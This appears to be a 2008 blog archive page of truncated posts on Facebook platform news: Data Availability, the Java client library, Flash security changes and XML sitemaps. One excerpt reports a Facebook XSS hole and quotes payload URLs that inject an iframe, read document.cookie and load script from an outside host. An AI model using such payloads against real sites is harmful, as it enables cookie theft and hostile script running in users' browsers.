Facebook as decided to suspend applications like Google’s Friends Connect and MySpace’s Data Availability “to access to Facebook user information until it comes into compliance” announced Charlie Cheever on this 15 of May.
Charlie also added:
“We think MySpace’s Data Availability, Google Friend Connect, and Facebook Connect can be part of a great movement in the industry […]
This new vulnerability uses a XSS (Cross-Site Scripting) technique to obtain sensitive information from Facebook users and even allows to execute malicious script code on the user computer.
xssed.com who announced (author: Mox) that vulnerability give you good samples of how it works.
Redirection sample:
http://www.xssed.com/mirror/34274/
or
Insertion in a hidden iframe:
http://www.facebook.com/jobs/position.php?st=%22%3E%3Ciframe%20src=http://xssed.com%3E%3C/iframe%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
http://www.facebook.com/jobs/position.php?st=%3CSCRIPT%20SRC=//ha.ckers.org/.j%3E
According to Dimitris Pagkalos from xssed.com:
“I’m quite sure there […]
Facebook development is still in ebullition.
After the previous announcement of Facebook profile improvements in February, some of these improvements where confirmed last week.
These confirmed improvements concern:
1/ New feed stories: feed tab is front-and-center on users’ profiles (feed stories is going to continue to be a primary way users express themselves), three sizes of stories […]
Since yesterday, Facebook does not support the official JCL anymore.
James Leszczenski wrote:
“…,there has a great deal of enthusiasm regarding Platform application development in a huge array of programming languages, resulting in the creation of numerous unofficial client libraries.”
and “To this end, we have decided to discontinue support for our official Java client library, and […]
At the beginning of this month, Adobe informed Facebook that their new security update (planned for April 2008) can potentially break Facebook platform applications that use Flash.
You should be concerned if you are in one of the following situations:
- You use sockets or XMLSockets
- You use addRequestHeader or URLRequest.requestHeaders
- You provide access to content on […]
Do you remember my past article with the following title:
“Facebook News (hack): XML Sitemaps & FBML? New Facebook Vulnerability?”
“
In a news from developers.facebook.com from March 12, 2008 and according to Alex Moskalyuk:
“Starting today, you can serve XML sitemaps off apps.facebook.com domain, and notify search engines about changes on your pages. Naturally, this works better for […]
For some weeks now, users may have noticed that when they receive a private email from a Facebook application they get something like:
“This email was sent by xyz application. You can disable emails here.”
According to a news published by Tom Whitnah from Facebook, the rate at which users disable email from within an email […]
In a news from developers.facebook.com from March 12, 2008 and according to Alex Moskalyuk:
“Starting today, you can serve XML sitemaps off apps.facebook.com domain, and notify search engines about changes on your pages. Naturally, this works better for pages that display content without requiring logins.”
This is indeed a really nice news for apps developers… But this […]
Sorry for my 2 favorite readers but there will be not kind of bullshit like that today.
Indeed, I am preparing the article of tomorrow (which will have a second part in about 2 weeks) and I hope you will enjoy it as much as I enjoyed writing it!!! :-)))))
7h15 53n73nc3 15 4 f1r57 1mpr35510n 0f […]
Facebook has updated the Facebook JavaScript Client library last Tuesday.
The news features include:
- The delay loading of JavaScript files inf FJSC (Facebook JavaScript Client): this will ensure that your application always loads the most current FJSC. For more information, see the Facebook JavaScript Client Library
- New CanvasUtil: this will allow applications developers to set […]
